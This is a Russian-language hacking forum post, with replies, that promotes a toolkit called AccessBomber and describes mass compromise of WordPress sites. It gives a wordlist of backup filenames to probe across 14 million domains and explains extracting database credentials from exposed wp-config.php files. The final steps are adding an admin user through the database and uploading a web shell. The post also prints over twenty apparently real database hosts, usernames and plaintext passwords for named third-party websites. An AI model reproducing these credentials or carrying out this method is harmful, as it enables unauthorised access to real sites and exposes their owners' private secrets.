Статья Нестандартный способ получения шеллов через поиск бекапов

[pablo]

Нестандартный способ получения шеллов через поиск бекапов


В данном примере я рассмотрю спосооб получения шеллов Wordpress, однако эта стратегия применима ко многим движкам используя комплекс AccessBomber.
Итак, я взял базу доменов Wordpress сайтов (14кк), составил список файлов для поиска бекапов:

Спойлер

wp.zip
x.zip
admin.zip
user.zip?
www.zip
backup.zip
file.zip
files.zip
dump.zip
sql.zip
ftp.zip
upload.zip
temp.zip
tmp.zip
bkup.zip
old.zip
new.zip
restore.zip
origin.zip
source.zip
orig.zip
src.zip
2.zip
3.zip
php.zip
web.zip
upl.zip
bkp.zip
2019.zip
2018.zip
2017.zip
2016.zip
123.zip
555.zip
123456.zip
main.zip
master.zip
git.zip
system.zip
sys.zip
uploads.zip
script.zip
scripts.zip

Примерно за сутки все это дело отчекалось, и я обнаружил 40к гудов. Цифра как по мне - внушительная. И это при том, что еще можна было-бы поискать tar.gz, tar, rar и прочие расширения:

Дальше, я написал приложение, которое берет каждый архив, распаковывает и парсит данные подключения к БД из файла wp-config.php:

{"SiteUrl":"http://toke88.co/1.zip","DbHost":"localhost","DbUser":"situopmr_wp620","DbPassword":"wp55!(KRS4","DbName":"situopmr_wp620"}
{"SiteUrl":"http://sharifmetall.kz/1.zip","DbHost":"localhost","DbUser":"web_test","DbPassword":"A0v9O8h5","DbName":"web_test"}
{"SiteUrl":"http://tasla.ir/1.zip","DbHost":"localhost","DbUser":"rayawp","DbPassword":"-46]ZS~=\u0026)l4","DbName":"rayawp"}
{"SiteUrl":"http://zegarmistrz.123i.pl/1.zip","DbHost":"sql.itconline.pl:3307","DbUser":"itconline_37","DbPassword":"41AqZQqlVDVk3n8e","DbName":"itconline_37"}
{"SiteUrl":"http://worldcuprussia2018.ir/1.zip","DbHost":"localhost","DbUser":"nekamusi_russia2018","DbPassword":"A4russia2018","DbName":"nekamusi_russia2018"}
{"SiteUrl":"http://www.derblankenstein.de/arch.zip","DbHost":"localhost:3306","DbUser":"wordpress_0","DbPassword":"wOWk3My4#7","DbName":"wordpress_7"}
{"SiteUrl":"http://the3dchina.com/arch.zip","DbHost":"localhost","DbUser":"tony","DbPassword":"CKwelcome6#9","DbName":"ada"}
{"SiteUrl":"https://procents.lv/arch.zip","DbHost":"localhost","DbUser":"internetcredit","DbPassword":"6vnotGdyR4HREDSo","DbName":"procents_v2"}
{"SiteUrl":"http://xn----7sbabaeeemx5bf2bhi1d.xn--p1ai/arch.zip","DbHost":"localhost","DbUser":"gbamkovaa_astyu","DbPassword":"42vyPOuQ","DbName":"gbamkovaa_astyu"}
{"SiteUrl":"http://yoga.net.pl/arch.zip","DbHost":"localhost","DbUser":"mateog_wp739","DbPassword":"p9]]jQ31SR","DbName":"mateog_wp739"}
{"SiteUrl":"https://novajet.kz/reserv.zip","DbHost":"localhost:3306","DbUser":"p-152_nova","DbPassword":"Novajet_134679","DbName":"p-15255_1"}
{"SiteUrl":"http://efrainbautista.com/res.zip","DbHost":"localhost","DbUser":"efrainba_fcog","DbPassword":"y6wKeU@74y2K","DbName":"efrainba_fco"}

Следующий этап - проверка валидности аутентификационных данных. Много где закрыт удаленный коннект. По результатам тестов я выяснил, что примерно в 10% случаев порт и настройки удаленного подключения пользователям разрешены. Написал приложение для проверки, валидности:

{"SiteUrl":"http://www.miquel-llado.com/backup.zip","DbHost":"localhost:3306","DbUser":"wp_qsty3","DbPassword":"r50TN_1Ubt","DbName":"wp_nfp7d"}
{"SiteUrl":"https://www.olequebisuteria.com/backup.zip","DbHost":"localhost","DbUser":"oleqb2014","DbPassword":"1234567890a","DbName":"oleqb2014"}
{"SiteUrl":"http://nwcboxing.com/backup.zip","DbHost":"localhost","DbUser":"asianins_nwcbwg","DbPassword":"0S11!eer[p","DbName":"asianins_nwcbwg"}
{"SiteUrl":"http://nonbrokeredsolutions.com/backup.zip","DbHost":"mysqlcluster2.registeredsite.com","DbUser":"nbsll","DbPassword":"Wartiz1234","DbName":"nbsll"}
{"SiteUrl":"http://payrollfunding.com/backup.zip","DbHost":"jg3141977460540.db.41977460.d93.hostedresource.net:3310","DbUser":"jg3141977460540","DbPassword":"mv.!7}M@2fT","DbName":"jg3141977460540"}
{"SiteUrl":"http://phillyrevisited.com/backup.zip","DbHost":"localhost","DbUser":"phillyre_jdd","DbPassword":"Thin1buoy2","DbName":"phillyre_wp"}
{"SiteUrl":"http://presidentspeak.com/backup.zip","DbHost":"spiderman-db.c2bwb2wdxdbe.eu-central-1.rds.amazonaws.com","DbUser":"spidermansql","DbPassword":"Blughb1rd","DbName":"presidentspeak"}
{"SiteUrl":"http://www.premiosdepublicidadagripina.com/backup.zip","DbHost":"localhost","DbUser":"premiosdepus","DbPassword":"lK70*a3ZtjRqiozs","DbName":"premiosdepbd"}
{"SiteUrl":"http://reliablemovingcompany.com/backup.zip","DbHost":"mysqlcluster25.registeredsite.com","DbUser":"reliablenew","DbPassword":"Q\u0026Fh297TBRUGFw\u00262PE","DbName":"reliablenew"}
{"SiteUrl":"http://stevenjaffe.com/backup.zip","DbHost":"localhost","DbUser":"stevenjaffe_wp","DbPassword":"dfaB47_2","DbName":"stevenjaffe_wp"}
{"SiteUrl":"http://stpetersyellowpages.com/backup.zip","DbHost":"stp1701612161781.db.5800901.hostedresource.com","DbUser":"stp1701612161781","DbPassword":"f7B@ulbPeX6","DbName":"stp1701612161781"}

{"SiteUrl":"http://www.tanastasarim.com/backup.zip","DbHost":"localhost","DbUser":"tanastas_wp1","DbPassword":"Z^]jfhY(61BohBXVCs*82#]1","DbName":"tanastas_wp1"}

Дальше - банальность. Через базу данных добавляем нового пользователя, заходим в админку Wordpress и заливаем шелл или бекдор.
Все утилиты, которые здесь упоминались - доступны клиентам софта AccessBomber

(c) DarkSeller

 

[Darkmist]

Ogromnoe spasibo)))

 

[pcalava]

Можно базу WP в ЛС?

 

[cryhavoc]

thank you very much

 

[Cl0Ud5]

А есть идеи/наработки, как собрать базу сайтов на wp? Поделитесь, пожалуйста, инфой)

 

[sitemaps]

Можете ли вы поделиться этим программным обеспечением для проверки?
Can you share this verification software?

 

[Кузя]

и каг всегды - масонЖисон =(

 

[2c71e9]

по моему все стандартно ^_^ но за пост спасибо